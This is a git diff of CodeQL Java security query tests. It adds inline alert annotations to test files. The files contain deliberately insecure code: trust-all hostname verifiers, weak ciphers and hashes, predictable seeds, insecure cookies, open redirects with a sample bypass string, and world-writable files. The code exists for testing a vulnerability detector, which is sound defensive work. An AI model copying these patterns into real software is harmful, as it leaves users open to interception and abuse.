a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java index 09fdf89e0f0..77ab00cc432 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -11,19 +11,19 @@ public class UnsafeHostnameVerification { * Test the implementation of trusting all hostnames as an anonymous class */ public void testTrustAllHostnameOfAnonymousClass() { - HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { + HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { // $ @Override public boolean verify(String hostname, SSLSession session) { return true; // BAD, always returns true } - }); + }); // $ Alert[java/unsafe-hostname-verification] } /** * Test the implementation of trusting all hostnames as a lambda. */ public void testTrustAllHostnameLambda() { - HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // BAD, always returns true + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // $ Alert[java/unsafe-hostname-verification] // BAD, always returns true } /** @@ -44,7 +44,7 @@ public class UnsafeHostnameVerification { } private void functionThatActuallyDisablesVerification() { - HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // GOOD [but detected as BAD], because we only + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // $ Alert[java/unsafe-hostname-verification] // GOOD [but detected as BAD], because we only // check guards inside a function // and not across function calls. This is considerer GOOD because the call to // `functionThatActuallyDisablesVerification` is guarded by a feature flag in @@ -63,7 +63,7 @@ public class UnsafeHostnameVerification { } public void testTrustAllHostnameWithExceptions() { - HostnameVerifier verifier = new HostnameVerifier() { + HostnameVerifier verifier = new HostnameVerifier() { // $ @Override public boolean verify(String hostname, SSLSession session) { try { verify(hostname, session.getPeerCertificates()); } catch (Exception e) { throw new RuntimeException(); } @@ -77,21 +77,21 @@ public class UnsafeHostnameVerification { // `Exception` in the case of a mismatch. private void verify(String hostname, Certificate[] certs) { } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); + }; // $ Source[java/unsafe-hostname-verification] + HttpsURLConnection.setDefaultHostnameVerifier(verifier); // $ Alert[java/unsafe-hostname-verification] } /** * Test the implementation of trusting all hostnames as a variable */ public void testTrustAllHostnameOfVariable() { - HostnameVerifier verifier = new HostnameVerifier() { + HostnameVerifier verifier = new HostnameVerifier() { // $ @Override public boolean verify(String hostname, SSLSession session) { return true; // BAD, always returns true } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); + }; // $ Source[java/unsafe-hostname-verification] + HttpsURLConnection.setDefaultHostnameVerifier(verifier); // $ Alert[java/unsafe-hostname-verification] } public static final HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new HostnameVerifier() { @@ -113,7 +113,7 @@ public class UnsafeHostnameVerification { * This is for testing the diff-informed functionality of the query. */ public void testTrustAllHostnameOfNamedClass() { - HttpsURLConnection.setDefaultHostnameVerifier(new AlwaysTrueVerifier()); + HttpsURLConnection.setDefaultHostnameVerifier(new AlwaysTrueVerifier()); // $ Alert[java/unsafe-hostname-verification] } } diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref index 5c82af8f3f7..fc028d3814e 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-297/UnsafeHostnameVerification.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.qlref b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.qlref index ee69b6e12ca..e7d9ba08897 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.qlref +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-319/HttpsUrls.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java index 900718904d2..362361a7171 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java @@ -20,12 +20,12 @@ class HelloImpl implements Hello { try { // HttpsUrls { - String protocol = "http://"; + String protocol = "http://"; // $ Source[java/non-https-url] URL u = new URL(protocol + "www.secret.example.org/"); // using HttpsURLConnections to enforce SSL is desirable // BAD: this will give a ClassCastException at runtime, as the // http URL cannot be used to make an HttpsURLConnection - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); @@ -33,12 +33,12 @@ class HelloImpl implements Hello { } { - String protocol = "http"; + String protocol = "http"; // $ Source[java/non-https-url] URL u = new URL(protocol, "www.secret.example.org", "foo"); // using HttpsURLConnections to enforce SSL is desirable // BAD: this will give a ClassCastException at runtime, as the // http URL cannot be used to make an HttpsURLConnection - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); @@ -46,13 +46,13 @@ class HelloImpl implements Hello { } { - String protocol = "http://"; + String protocol = "http://"; // $ Source[java/non-https-url] // the second URL overwrites the first, as it has a protocol URL u = new URL(new URL("https://www.secret.example.org"), protocol + "www.secret.example.org"); // using HttpsURLConnections to enforce SSL is desirable // BAD: this will give a ClassCastException at runtime, as the // http URL cannot be used to make an HttpsURLConnection - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); @@ -84,12 +84,12 @@ class HelloImpl implements Hello { } { - String protocol = "http"; + String protocol = "http"; // $ Source[java/non-https-url] URL u = new URL(protocol, "internal-url", "foo"); // FALSE POSITIVE: the query has no way of knowing whether the url will // resolve to somewhere outside the internal network, where there // are unlikely to be interception attempts - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); @@ -116,4 +116,4 @@ class HelloImpl implements Hello { public String sayHello() { return "Hello"; } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSL.qlref b/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSL.qlref index cd19c71e3ad..b1aaff7c300 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSL.qlref +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSL.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-319/UseSSL.ql \ No newline at end of file +query: Security/CWE/CWE-319/UseSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSLTest.java b/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSLTest.java index b6ff8b57fbf..19e4951f249 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSLTest.java +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/UseSSLTest.java @@ -8,7 +8,7 @@ class UseSSLTest { if (connection instanceof HttpsURLConnection) { input = connection.getInputStream(); // OK } else { - input = connection.getInputStream(); // BAD + input = connection.getInputStream(); // $ Alert[java/non-ssl-connection] // BAD } } } diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.qlref b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.qlref index 38042f8864c..f286f8858ee 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.qlref +++ b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-614/InsecureCookie.ql \ No newline at end of file +query: Security/CWE/CWE-614/InsecureCookie.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java index c198f522e30..83c0038b7a0 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java @@ -16,7 +16,7 @@ class Test { Cookie cookie = new Cookie("secret" ,"fakesecret"); // BAD: secure flag not set - response.addCookie(cookie); + response.addCookie(cookie); // $ Alert } @@ -25,7 +25,7 @@ class Test { // BAD: secure flag set to false cookie.setSecure(false); - response.addCookie(cookie); + response.addCookie(cookie); // $ Alert } @@ -34,7 +34,7 @@ class Test { // BAD: secure flag set to something not clearly true or request.isSecure() cookie.setSecure(otherInput); - response.addCookie(cookie); + response.addCookie(cookie); // $ Alert } @@ -48,7 +48,7 @@ class Test { else secureVal = otherInput; cookie.setSecure(secureVal); - response.addCookie(cookie); + response.addCookie(cookie); // $ Alert } diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.qlref b/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.qlref index 2b7a5375dab..b08b50829f8 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.qlref +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/AllowBackupEnabledTest.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-312/AllowBackupAttributeEnabled.ql \ No newline at end of file +query: Security/CWE/CWE-312/AllowBackupAttributeEnabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml b/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml index 4b69c52ccae..8e33b872caa 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/TestExplicitlyEnabled/AndroidManifest.xml @@ -24,6 +24,6 @@ - + diff --git a/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml b/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml index 9db4c7429fe..3a61d35c95d 100644 --- a/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml +++ b/java/ql/test/query-tests/security/CWE-312/android/backup/TestMissing/AndroidManifest.xml @@ -24,6 +24,6 @@ - + diff --git a/java/ql/test/query-tests/security/CWE-327/semmle/tests/BrokenCryptoAlgorithm.qlref b/java/ql/test/query-tests/security/CWE-327/semmle/tests/BrokenCryptoAlgorithm.qlref index 32cbef3d0fb..4a8ddcd9e7c 100644 --- a/java/ql/test/query-tests/security/CWE-327/semmle/tests/BrokenCryptoAlgorithm.qlref +++ b/java/ql/test/query-tests/security/CWE-327/semmle/tests/BrokenCryptoAlgorithm.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.qlref b/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.qlref index 42fa4845cac..4c32da91dea 100644 --- a/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.qlref +++ b/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql \ No newline at end of file +query: Security/CWE/CWE-327/MaybeBrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-327/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-327/semmle/tests/Test.java index 23aff65161c..1136594a5a5 100644 --- a/java/ql/test/query-tests/security/CWE-327/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-327/semmle/tests/Test.java @@ -16,7 +16,7 @@ class Test { { // BAD: DES is a weak algorithm - keyGenerator = KeyGenerator.getInstance("DES"); + keyGenerator = KeyGenerator.getInstance("DES"); // $ Alert[java/weak-cryptographic-algorithm] } // GOOD: RSA is a strong algorithm @@ -31,7 +31,7 @@ class Test { { // BAD: foo is an unknown algorithm that may not be secure - secretKeySpec = new SecretKeySpec(byteKey, "foo"); + secretKeySpec = new SecretKeySpec(byteKey, "foo"); // $ Alert[java/potentially-weak-cryptographic-algorithm] } // GOOD: GCM is a strong algorithm @@ -39,7 +39,7 @@ class Test { { // BAD: RC2 is a weak algorithm - cipher = Cipher.getInstance("RC2"); + cipher = Cipher.getInstance("RC2"); // $ Alert[java/weak-cryptographic-algorithm] } // GOOD: ECIES is a strong algorithm cipher = Cipher.getInstance("ECIES"); diff --git a/java/ql/test/query-tests/security/CWE-327/semmle/tests/WeakHashing.java b/java/ql/test/query-tests/security/CWE-327/semmle/tests/WeakHashing.java index c79c025a41c..5ce2e316280 100644 --- a/java/ql/test/query-tests/security/CWE-327/semmle/tests/WeakHashing.java +++ b/java/ql/test/query-tests/security/CWE-327/semmle/tests/WeakHashing.java @@ -12,13 +12,13 @@ public class WeakHashing { props.load(new FileInputStream("example.properties")); // BAD: Using a weak hashing algorithm - MessageDigest bad = MessageDigest.getInstance(props.getProperty("hashAlg1")); + MessageDigest bad = MessageDigest.getInstance(props.getProperty("hashAlg1")); // $ Alert[java/potentially-weak-cryptographic-algorithm] // BAD: Using a weak hashing algorithm even with a secure default - MessageDigest bad2 = MessageDigest.getInstance(props.getProperty("hashAlg1", "SHA-256")); + MessageDigest bad2 = MessageDigest.getInstance(props.getProperty("hashAlg1", "SHA-256")); // $ Alert[java/potentially-weak-cryptographic-algorithm] // BAD: Using a strong hashing algorithm but with a weak default - MessageDigest bad3 = MessageDigest.getInstance(props.getProperty("hashAlg2", "MD5")); + MessageDigest bad3 = MessageDigest.getInstance(props.getProperty("hashAlg2", "MD5")); // $ Alert[java/potentially-weak-cryptographic-algorithm] // GOOD: Using a strong hashing algorithm MessageDigest ok = MessageDigest.getInstance(props.getProperty("hashAlg2")); diff --git a/java/ql/test/query-tests/security/CWE-335/semmle/tests/PredictableSeed.qlref b/java/ql/test/query-tests/security/CWE-335/semmle/tests/PredictableSeed.qlref index 090a64a67ce..053e69913e0 100644 --- a/java/ql/test/query-tests/security/CWE-335/semmle/tests/PredictableSeed.qlref +++ b/java/ql/test/query-tests/security/CWE-335/semmle/tests/PredictableSeed.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-335/PredictableSeed.ql \ No newline at end of file +query: Security/CWE/CWE-335/PredictableSeed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-335/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-335/semmle/tests/Test.java index 3c38f57d562..db7e8eabfa4 100644 --- a/java/ql/test/query-tests/security/CWE-335/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-335/semmle/tests/Test.java @@ -25,16 +25,16 @@ class Test { SecureRandom r_time1 = new SecureRandom(new BigInteger(Long.toString(time1)).toByteArray()); // BAD: SecureRandom initialized with times. SecureRandom r_time2 = new SecureRandom(new BigInteger(Long.toString(time2)).toByteArray()); - r_time1.nextInt(); r_time2.nextInt(); + r_time1.nextInt(); r_time2.nextInt(); // $ Alert // BAD: SecureRandom initialized with constant value. SecureRandom r_const = new SecureRandom(new BigInteger(Long.toString(12345L)).toByteArray()); - r_const.nextInt(); + r_const.nextInt(); // $ Alert // BAD: SecureRandom's seed set to constant with setSeed. SecureRandom r_const_set = new SecureRandom(); r_const_set.setSeed(12345L); - r_const_set.nextInt(); + r_const_set.nextInt(); // $ Alert // GOOD: SecureRandom self seeded and then seed is supplemented. SecureRandom r_selfseed = new SecureRandom(); diff --git a/java/ql/test/query-tests/security/CWE-338/semmle/tests/JHipsterGeneratedPRNG.qlref b/java/ql/test/query-tests/security/CWE-338/semmle/tests/JHipsterGeneratedPRNG.qlref index 441bcf25929..b908d757218 100644 --- a/java/ql/test/query-tests/security/CWE-338/semmle/tests/JHipsterGeneratedPRNG.qlref +++ b/java/ql/test/query-tests/security/CWE-338/semmle/tests/JHipsterGeneratedPRNG.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-338/JHipsterGeneratedPRNG.ql +query: Security/CWE/CWE-338/JHipsterGeneratedPRNG.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-338/semmle/tests/vulnerable/RandomUtil.java b/java/ql/test/query-tests/security/CWE-338/semmle/tests/vulnerable/RandomUtil.java index 22e0c0b9150..e6707a41649 100644 --- a/java/ql/test/query-tests/security/CWE-338/semmle/tests/vulnerable/RandomUtil.java +++ b/java/ql/test/query-tests/security/CWE-338/semmle/tests/vulnerable/RandomUtil.java @@ -17,7 +17,7 @@ public final class RandomUtil { * * @return the generated password. */ - public static String generatePassword() { + public static String generatePassword() { // $ Alert return RandomStringUtils.randomAlphanumeric(DEF_COUNT); } @@ -26,7 +26,7 @@ public final class RandomUtil { * * @return the generated activation key. */ - public static String generateActivationKey() { + public static String generateActivationKey() { // $ Alert return RandomStringUtils.randomNumeric(DEF_COUNT); } @@ -35,7 +35,7 @@ public final class RandomUtil { * * @return the generated reset key. */ - public static String generateResetKey() { + public static String generateResetKey() { // $ Alert return RandomStringUtils.randomNumeric(DEF_COUNT); } @@ -45,7 +45,7 @@ public final class RandomUtil { * * @return the generated series data. */ - public static String generateSeriesData() { + public static String generateSeriesData() { // $ Alert return RandomStringUtils.randomAlphanumeric(DEF_COUNT); } @@ -54,7 +54,7 @@ public final class RandomUtil { * * @return the generated token data. */ - public static String generateTokenData() { + public static String generateTokenData() { // $ Alert return RandomStringUtils.randomAlphanumeric(DEF_COUNT); } } diff --git a/java/ql/test/query-tests/security/CWE-421/semmle/SocketAuthRace.qlref b/java/ql/test/query-tests/security/CWE-421/semmle/SocketAuthRace.qlref index 6ee9791ad63..efdf86cc251 100644 --- a/java/ql/test/query-tests/security/CWE-421/semmle/SocketAuthRace.qlref +++ b/java/ql/test/query-tests/security/CWE-421/semmle/SocketAuthRace.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-421/SocketAuthRace.ql \ No newline at end of file +query: Security/CWE/CWE-421/SocketAuthRace.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-421/semmle/Test.java b/java/ql/test/query-tests/security/CWE-421/semmle/Test.java index 0e2dc665a4b..d2850f39899 100644 --- a/java/ql/test/query-tests/security/CWE-421/semmle/Test.java +++ b/java/ql/test/query-tests/security/CWE-421/semmle/Test.java @@ -35,7 +35,7 @@ class Test { ServerSocket listenSocket = new ServerSocket(desiredPort); if (isAuthenticated(username)) { - Socket connection1 = listenSocket.accept(); + Socket connection1 = listenSocket.accept(); // $ Alert // BAD: no authentication over the socket connection1.getOutputStream().write(secretData); } @@ -48,7 +48,7 @@ class Test { if (isAuthenticated(username)) { // FP: we authenticate both beforehand and over the socket - Socket connection3 = listenSocket.accept(); + Socket connection3 = listenSocket.accept(); // $ Alert if (doAuthenticate(connection3, username)) { connection3.getOutputStream().write(secretData); } @@ -62,7 +62,7 @@ class Test { listenChannel.bind(port); if (isAuthenticated(username)) { - SocketChannel connection1 = listenChannel.accept(); + SocketChannel connection1 = listenChannel.accept(); // $ Alert // BAD: no authentication over the socket connection1.write(ByteBuffer.wrap(secretData)); } diff --git a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.java b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.java index 01cee2d59f2..90a08ada8a2 100644 --- a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.java +++ b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.java @@ -20,7 +20,7 @@ public class UrlRedirect extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: a request parameter is incorporated without validation into a URL redirect - response.sendRedirect(request.getParameter("target")); + response.sendRedirect(request.getParameter("target")); // $ Alert // GOOD: the request parameter is validated against a known fixed string if (VALID_REDIRECT.equals(request.getParameter("target"))) { @@ -29,17 +29,17 @@ public class UrlRedirect extends HttpServlet { // BAD: the user attempts to clean the string, but this will fail // if the argument is "hthttp://tp://malicious.com" - response.sendRedirect(weakCleanup(request.getParameter("target"))); + response.sendRedirect(weakCleanup(request.getParameter("target"))); // $ Alert // GOOD: the user input is not used in a position that allows it to dictate // the target of the redirect response.sendRedirect("http://example.com?username=" + request.getParameter("username")); // BAD: set the "Location" header - response.setHeader("Location", request.getParameter("target")); + response.setHeader("Location", request.getParameter("target")); // $ Alert // BAD: set the "Location" header - response.addHeader(LOCATION_HEADER_KEY, request.getParameter("target")); + response.addHeader(LOCATION_HEADER_KEY, request.getParameter("target")); // $ Alert } public String weakCleanup(String input) { diff --git a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.qlref b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.qlref index 933c3569eed..f41f720f725 100644 --- a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.qlref +++ b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-601/UrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect2.java b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect2.java index 9014dcae7f2..b7e8d673e3c 100644 --- a/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect2.java +++ b/java/ql/test/query-tests/security/CWE-601/semmle/tests/UrlRedirect2.java @@ -24,7 +24,7 @@ public class UrlRedirect2 extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: a request parameter is incorporated without validation into a URL redirect - response.sendRedirect(request.getParameter("target")); + response.sendRedirect(request.getParameter("target")); // $ Alert // GOOD: the request parameter is validated against a known list of strings String target = request.getParameter("target"); diff --git a/java/ql/test/query-tests/security/CWE-601/semmle/tests/mad/Test.java b/java/ql/test/query-tests/security/CWE-601/semmle/tests/mad/Test.java index e222c3d9fbe..baf278ab3ae 100644 --- a/java/ql/test/query-tests/security/CWE-601/semmle/tests/mad/Test.java +++ b/java/ql/test/query-tests/security/CWE-601/semmle/tests/mad/Test.java @@ -6,11 +6,11 @@ public class Test { private static HttpServletRequest request; public static Object source() { - return request.getParameter(null); + return request.getParameter(null); // $ Source } public void test(HttpResponses r) { // "org.kohsuke.stapler;HttpResponses;true;redirectTo;(String);;Argument[0];open-url;ai-generated" - r.redirectTo((String) source()); + r.redirectTo((String) source()); // $ Alert } } diff --git a/java/ql/test/query-tests/security/CWE-676/semmle/tests/PotentiallyDangerousFunction.qlref b/java/ql/test/query-tests/security/CWE-676/semmle/tests/PotentiallyDangerousFunction.qlref index 45388d46e2e..8fb8f0fceaf 100644 --- a/java/ql/test/query-tests/security/CWE-676/semmle/tests/PotentiallyDangerousFunction.qlref +++ b/java/ql/test/query-tests/security/CWE-676/semmle/tests/PotentiallyDangerousFunction.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/PotentiallyDangerousFunction.ql +query: Security/CWE/CWE-676/PotentiallyDangerousFunction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-676/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-676/semmle/tests/Test.java index 6d9367d2063..8e76feb1330 100644 --- a/java/ql/test/query-tests/security/CWE-676/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-676/semmle/tests/Test.java @@ -11,6 +11,6 @@ class Test { public void quit() { // Stop - worker.stop(); // BAD: Thread.stop can result in corrupted data + worker.stop(); // $ Alert // BAD: Thread.stop can result in corrupted data } } diff --git a/java/ql/test/query-tests/security/CWE-681/semmle/tests/NumericCastTainted.qlref b/java/ql/test/query-tests/security/CWE-681/semmle/tests/NumericCastTainted.qlref index f06664e19d4..fbe1ae7ab46 100644 --- a/java/ql/test/query-tests/security/CWE-681/semmle/tests/NumericCastTainted.qlref +++ b/java/ql/test/query-tests/security/CWE-681/semmle/tests/NumericCastTainted.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-681/NumericCastTainted.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java index f50652c032f..75862e683e0 100644 --- a/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-681/semmle/tests/Test.java @@ -8,7 +8,7 @@ class Test { long data; BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); + new InputStreamReader(System.in, "UTF-8")); // $ Source String stringNumber = readerBuffered.readLine(); if (stringNumber != null) { data = Long.parseLong(stringNumber.trim()); @@ -18,7 +18,7 @@ class Test { // AVOID: potential truncation if input data is very large, for example // 'Long.MAX_VALUE' - int scaled = (int)data; + int scaled = (int)data; // $ Alert //... @@ -30,4 +30,4 @@ class Test { throw new IllegalArgumentException("Invalid input"); } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/security/CWE-732/semmle/tests/ReadingFromWorldWritableFile.qlref b/java/ql/test/query-tests/security/CWE-732/semmle/tests/ReadingFromWorldWritableFile.qlref index cd90cfe2c17..d5c7df733ef 100644 --- a/java/ql/test/query-tests/security/CWE-732/semmle/tests/ReadingFromWorldWritableFile.qlref +++ b/java/ql/test/query-tests/security/CWE-732/semmle/tests/ReadingFromWorldWritableFile.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql +query: Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java index 8717203802d..ceca3b1a384 100644 --- a/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-732/semmle/tests/Test.java @@ -14,20 +14,20 @@ class Test { public static void main(String[] args) throws IOException { // Using the File API File f = new File("file"); - setWorldWritable(f); + setWorldWritable(f); // $ Alert readFile(f); // Using the Path API Path p = Paths.get("file"); Set filePermissions = EnumSet.of(PosixFilePermission.OTHERS_WRITE); - Files.setPosixFilePermissions(p, filePermissions); + Files.setPosixFilePermissions(p, filePermissions); // $ Alert Files.readAllLines(p); // Convert file to path File f2 = new File("file2"); Set file2Permissions = new LinkedHashSet<>(); file2Permissions.add(PosixFilePermission.OTHERS_WRITE); - Files.setPosixFilePermissions(Paths.get(f2.getCanonicalPath()), file2Permissions); + Files.setPosixFilePermissions(Paths.get(f2.getCanonicalPath()), file2Permissions); // $ Alert new FileInputStream(f2); } diff --git a/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheck.qlref b/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheck.qlref index 8c69ea7e994..cf5503cf706 100644 --- a/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheck.qlref +++ b/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheck.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-807/TaintedPermissionsCheck.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheckTest.java b/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheckTest.java index 622538b7e35..4a274c25b91 100644 --- a/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheckTest.java +++ b/java/ql/test/query-tests/security/CWE-807/semmle/tests/TaintedPermissionsCheckTest.java @@ -9,10 +9,10 @@ import org.apache.shiro.subject.Subject; class TaintedPermissionsCheckTest { public static void main(HttpServletRequest request) throws Exception { // Apache Shiro permissions system - String action = request.getParameter("action"); + String action = request.getParameter("action"); // $ Source[java/tainted-permissions-check] Subject subject = 